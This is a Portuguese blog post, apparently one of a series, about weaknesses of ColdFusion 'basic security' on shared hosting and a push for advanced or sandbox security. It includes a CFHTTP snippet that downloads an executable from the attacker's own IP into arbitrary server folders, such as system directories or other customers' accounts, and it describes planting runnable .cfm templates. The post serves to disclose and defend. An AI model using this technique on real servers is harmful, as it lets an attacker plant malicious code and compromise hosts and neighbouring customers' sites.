Pintando e bordando com o CFHTTP e CFPOP

Este post faz parte de uma seqüência de posts iniciada neste link.

Dando início à série, abordo o problema que considero o mais sério de todos. Sério principalmente por ser a mais simples forma de se aproveitar da falta de segurança da basic security. Estou falando das tags CFHTTP e CFPOP.

Uma pausa é necessária aqui: lembre-se de que isso só vale para ambientes compartilhados. Se você roda ou administra um servidor ColdFusion num servidor próprio ou da sua empresa, onde o acesso é controlado e você sabe exatamente quem usa o sistema, a basic security pode ser usada sem medo.

As duas tags em questão não são “desabilitáveis” via basic security e o grande problema com elas é o fato delas tornarem possível o upload de arquivos para o servidor em qualquer pasta (tal como C:winntsystem32, por exemplo). Lembre-se que na basic security não existem permissões de acesso a recursos (como pastas) definidas. Usando a basic security, o ColdFusion tem acesso a todo o servidor (desde que ele esteja rodando sob a conta “system”, default – mais abaixo falo sobre esse asunto, por enquanto admita que o ColdFusion tem acesso a todo o servidor).

A abordagem é semelhante para ambas as tags (com o CFPOP trabalhamos com arquivos anexados enviados via e-mail), porém vamos nos ater à CFHTTP por uma questão de praticidade.

O requisito mais básico e indispensável é que você necessariamente precisa ter uma conta de acesso no servidor vulnerável em questão. Isso significa abrir uma conta de hospedagem num provedor onde “as tags CFFILE, etc, etc, NÃO estão habiltadas no plano ColdFusion” ou mesmo usar uma daquelas gratuítas do CFM-Resources ou qualquer outro provedor de hospedagem ColdFusion que use basic security (no Brasil não conheço nenhum que não use, infelizmente). Isso porque você precisa poder rodar um script CFML que fará uma chamada CFHTTP do tipo GET. O código é simples e extremamente básico:

<CFHTTP
METHOD=”get”
URL=”http://www.qq_server.com.br/arquivo.exe”
PATH=”D:inetpubwwwrootpasta_qualquer”
FILE=”arquivo.exe”>

Simples não? Pois é, imagine que você pode disponibilizar um servidor web no seu próprio PC. O atributo URL ficaria com algo do tipo:

“http://200.202.204.113/arquivo_safado.exe” (200… é o IP do seu PC conectado à Internet).

O atributo PATH apontaria para a pasta onde fica a sua (ou de alguém) conta de hospedagem (usando uma função CGI você pode encontrar esta se o seu provedor não informar) ou mesmo qualquer outra pasta de interesse. A raiz do C:, por exemplo, poderia ser usada. O atributo FILE é meramente o nome que deverá ser dado ao arquivo sendo enviado. Isso vale para arquivos “executáveis” (ex: explorer.exe) e arquivos texto (ex: index.cfm). Existem uma série de nuances e pequenas coisas que você pode fazer que não merecem ser colocadas aqui (tais como se fazer o upload de um template .cfm “processável”) para outra pasta qualquer, etc, etc.

Um exemplo do que estou falando pode ser visto no famigerado servidor ColdFusion gratuíto “CFM-Resources“. Já adianto que eu não recomendo NEM UM POUCO à ninguém este serviço. Logo quando foi lançado, o CFM-Resources era tão furado quanto queijo suíço. Cansei de encher o saco do Pablo Varando sem que ele levasse muito a sério o que eu falava. Até o dia em que eu coloquei um tutorial sobre como se hackear o CFM-Resources nada mais nada menos que na home do site www.cfm-resources.com (isso é história para uma das reuniões do CFUG-SP)…

Veja aqui o template que criei que aproveita-se desta “feature” do CFM-Resources (e de tantos outros servidores compartilhados).

Também não recomendo os bobões de plantão a sairem por aí se metendo à besta para fazer sacanagens com outras pessoas, lembre-se de que os logs foram feitos justamente para estes (os bobos), portanto se você não sabe EXATAMENTE o que está fazendo, não saia por aí fazendo idiotices.

A solução para o problema? ADVANCED SECURITY e sandbox security! Assim, simples, sem delongas. É impressionante como alguns administradores de sistema não se preocupam com isso, talvez por incompetência, talvez por falta de tempo e conhecimento na plataforma ColdFusion…

Já vi algumas medidas “desesperadas” serem tomadas. Adianto que estas não adiantam em nada (assim como toda gambiarra). Alterar o usuário padrão que o serviço do ColdFusion usa é uma dessas. Porém isso não faz muito sentido, uma vez que necessariamente você terá que oferecer acesso à todas as pastas de clientes com esta conta. Você poderá proteger o seu sistema (pastas C:winnt e outras), porém grande parte do seu servidor (onde justamente se tem interesse de explorar) estará aberta do mesmo jeito. EXIJA DO SEU PROVEDOR DE HOSPEDAGEM O USO DE ADVANCED SECURITY!!!

E fique ligado nos próximos posts.